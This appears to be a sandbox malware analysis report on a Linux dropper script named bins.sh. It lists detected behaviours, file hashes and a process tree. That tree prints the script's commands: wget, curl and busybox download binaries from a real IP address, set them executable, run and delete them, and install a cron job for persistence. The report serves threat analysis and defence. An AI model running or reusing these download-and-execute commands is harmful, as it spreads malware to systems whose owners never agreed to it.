Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    12/11/2024, 12:17

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-pf13hsseqh
  • SHA256 e5f42adb5957dade3d83f8ea86b6fcc8f7a7dd121234f552d062eb48e7b18930
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2125) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod 777 FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • File and Directory Permissions Modification
          PID:1517
        • /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          ./FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
          • Executes dropped EXE
          PID:1518
        • /bin/rm
          rm FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
          2⤵
            PID:1520
          • /usr/bin/wget
            wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /bin/chmod
            chmod 777 NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • File and Directory Permissions Modification
            PID:1524
          • /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            ./NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
            • Executes dropped EXE
            PID:1525
          • /bin/rm
            rm NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
            2⤵
              PID:1527
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:1529
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Writes file to tmp directory
              PID:1530
            • /bin/chmod
              chmod 777 jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • File and Directory Permissions Modification
              PID:1531
            • /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              ./jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
              • Executes dropped EXE
              PID:1532
            • /bin/rm
              rm jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
              2⤵
                PID:1534
              • /usr/bin/wget
                wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Writes file to tmp directory
                PID:1537
              • /bin/chmod
                chmod 777 o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • File and Directory Permissions Modification
                PID:1538
              • /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                ./o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1539
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1541
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1542
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1543
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1544
                    • /bin/rm
                      rm o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                      2⤵
                        PID:1546
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/iRrFro2OBY7sWckMTfHGmjXB8qLhr0QLvl
                        2⤵
                          PID:1549

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
                            • Path /tmp/FbWJzi8E4UdCkP1veMxjesk65dRA7piasb
                            • Size 119KB
                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
                            • Path /tmp/NbAD8ebu7QQva4tEajxyJQD9vnnnCwsKjy
                            • Size 127KB
                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
                            • Path /tmp/jPBMeFEavrVIh4zoqYa4bVwZcBCD5NsCvn
                            • Size 111KB
                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                            • Path /tmp/o9Ai1e0rIVuW19KxWAz3Np9AlpYcrmgeII
                            • Size 99KB
                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.RtdPei
                            • Path /var/spool/cron/crontabs/tmp.RtdPei
                            • Size 210B
                            • SHA256 c5efb8d72352f2db86df40a64d1c84e1ab56c36ea4b547d379e0d4774931286d
                            • MD5 SHA1 SHA512
                            Submit Download